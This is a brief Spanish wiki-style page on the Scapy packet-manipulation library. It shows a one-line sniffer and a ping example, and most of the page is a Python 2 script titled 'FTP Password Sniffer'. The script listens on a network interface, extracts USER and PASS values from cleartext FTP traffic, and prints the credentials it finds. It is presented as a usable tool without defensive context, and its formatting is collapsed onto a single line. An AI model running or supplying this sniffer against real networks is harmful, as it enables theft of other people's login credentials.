Scapy

Scapy es una herramienta de manipulación de paquetes de red, escrita en Python. Puede falsear o decodificar paquetes, enviarlos, capturarlos y hacer coincidir solicitudes y respuestas.

Ejemplos

Sniffer

sniff(iface="enp2s0", prn = lambda x: x.show(), filter="tcp", store=0)

Python/Scapy FTP Password Sniffer :

#! /usr/bin/python import sys from logging import getLogger, ERROR getLogger('scapy.runtime').setLevel(ERROR) try: from scapy.all import * except ImportError: print '[!] Error: Scapy Installation Not Found' sys.exit(1) interface = sys.argv[1] usernames = ['Error: Unlucky Timing'] passwords = ['Error: Unlucky Timing'] def check_login(pkt, username, password): try: if '230' in pkt[Raw].load: print '[*] Valid Credentials Found... ' print '\t[*] ' + str(pkt[IP].dst).strip() + ' -> ' + str(pkt[IP].src).strip() + ':' print '\t [*] Username: ' + username print '\t [*] Password: ' + password + '\n' return else: return except Exception: return def check_for_ftp(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): if pkt[TCP].dport == 21 or pkt[TCP].sport == 21: return True else: return False else: return False def check_pkt(pkt): if check_for_ftp(pkt): pass else: return data = pkt[Raw].load if 'USER ' in data: usernames.append(data.split('USER ')[1].strip()) elif 'PASS ' in data: passwords.append(data.split('PASS ')[1].strip()) else: check_login(pkt, usernames[-1], passwords[-1]) return print '[*] Sniffing Started on %s... \n' % interface try: sniff(iface=interface, prn=check_pkt, store=0) except Exception: print '[!] Error: Failed to Initialize Sniffing' sys.exit(1) print '\n[*] Sniffing Stopped'

Ping

sr(IP(dst="8.8.8.8")/ICMP())